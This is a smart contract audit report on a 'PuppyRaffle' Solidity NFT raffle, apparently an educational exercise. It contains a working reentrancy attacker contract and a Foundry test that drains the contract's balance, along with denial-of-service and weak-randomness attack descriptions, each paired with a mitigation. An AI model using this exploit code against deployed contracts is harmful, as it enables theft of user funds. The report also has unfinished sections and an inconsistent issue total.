Protocol Audit Report

Version 1.0

SHIV DIXIT

January 31, 2024

Protocol Audit Report

SHIV DIXIT

JAN 31, 2024

Prepared by:SHIV DIXIT Lead Auditors: - SHIV DIXIT

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

Call the enterRaffle function with the following parameters: address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends. Duplicate addresses are not allowed Users are allowed to get a refund of their ticket & value if they call the refund function Every X seconds, the raffle will be able to draw a winner and be minted a random puppy The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I have maked all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

- In Scope:

```
./src/
-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	2
Medium	3
Low	0
Info	8
Total	0

Findings

High

[H-1] Reentrancy Attack in `PuppyRaffle::refund()` which allows entrant to drain the balance

Description: The `PuppyRaffle::refund` function does not follow CEI(check effect)

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to `msg.sender` and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. **Impact:** All the fees paid by the Raffle entrants can be drained up by the malicious participant **Proof of Concept:** 1. User Sets up Raffle Contract 2. Attacker sets a contract with a `fallback` that calls `PuppyRaffle::refund` function 3. Attacker enters the Raffle 4. Attacker calls `PuppyRaffle::refund`from their contract draining contract balance

Proof of Code :

Code

Place the function in `PuppyRaffeTest.t.sol`

```
function test_Reentrancy () public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1e18);
        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting Attack Contract Balance: ",
            startingAttackContractBalance);
        console.log("Starting Contract Balance: ",
            startingContractBalance);
        console.log("Attack Contract Balance: ", address(
            attackerContract).balance);
        console.log("Contract Balance: ", address(puppyRaffle).balance)
            ;
```

```
    }
```

and this Contract as well

```
contract ReentrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable{
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);

    }
    function _reentrant() internal {
        if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
    }
    fallback() external payable{
        _reentrant();
    }
    receive() external payable{
        _reentrant();
    }

}
```

Recommended Mitigation: To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether.

Here's how you can modify the refund function:

```
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can
    refund");
require(playerAddress != address(0), "PuppyRaffle: Player already
    refunded, or is not active");

// Update the state before sending Ether
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);

// Now it's safe to send Ether
(bool success, ) = payable(msg.sender).call{value: entranceFee}("");
require(success, "PuppyRaffle: Failed to refund");


}
```

This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` can allow users to influence or predict the outcome/winner puppy

Description: Hashing `msg.sender` , `block.timestamp` and `block.difficulty` together creates a predictable output which can be manipulated by malicious user *NOTE:* This malicious user can front-run to guess the winnerIndex

Impact: Any users can influence the winner of the raffle and select the `rarest` puppy .

Proof of Concept:

1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF

Medium

[M-1] Looping through Players array to check for Duplicates in `PuppyRaffle::enterRaffle` is a potential denial of Service(DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
// @audit Dos Attack
@> for(uint256 i = 0; i < players.length -1; i++){
     for(uint256 j = i+1; j< players.length; j++){
     require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
   }
}
```

Impact: the gas costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensivee for the second 100 players.

Proof of Code

```
function testDenialOfService() public {
        // Foundry lets us set a gas price
        vm.txGasPrice(1);

        // Creates 100 addresses
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < players.length; i++) {
            players[i] = address(i);
        }

        // Gas calculations for first 100 players
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the first 100 players: ", gasUsedFirst);

        // Creats another array of 100 players
        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersTwo.length; i++) {
            playersTwo[i] = address(i + playersNum);
        }

        // Gas calculations for second 100 players
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            playersTwo);
        uint256 gasEndTwo = gasleft();
        uint256 gasUsedSecond = (gasStartTwo - gasEndTwo) * tx.gasprice;
        console.log("Gas cost of the second 100 players: ", gasUsedSecond
            );

        assert(gasUsedSecond > gasUsedFirst);
    }
```

Recommended Mitigation: There are a few recommended mitigations. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
            PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
        }

-         // Check for duplicates
+        // Check for duplicates only from the new players
+        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
+         }
-          for (uint256 i = 0; i < players.length; i++) {
-              for (uint256 j = i + 1; j < players.length; j++) {
-                  require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
-              }
-          }
          emit RaffleEnter(newPlayers);
      }
.
.
.
      function selectWinner() external {
+         raffleId = raffleId + 1;
          require(block.timestamp >= raffleStartTime + raffleDuration, "
             PuppyRaffle: Raffle not over");
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle"
           );

        uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
           sender, block.timestamp, block.difficulty))) % players.
           length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owner on the winner to claim their prize. (Recommended)

Informational

[I-1] Solidity pragma should be more specific

Consider using a specific version on Solidity, For example instead of `pragma solidity ^0.8.0` use `pragma solidity 0.8.0`

[I-2]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
            feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 150

```
            previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 168

```
            feeAddress = newFeeAddress;
```

[I-3] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name. Examples:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
    POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

We could probably be a little more verbose, but for the purposes of an informational in a private audit setting, this is sufficient. Mark it as complete and let's move on.

[I-4] State Changes are Missing Events

Gas

// TODO

- `getActivePlayerIndex` returning 0. Is it the player at index 0? Or is it invalid.
- MEV with the refund function.
- MEV with withdrawfees
- randomness for rarity issue
- reentrancy puppy raffle before safemint (it looks ok actually, potentially informational)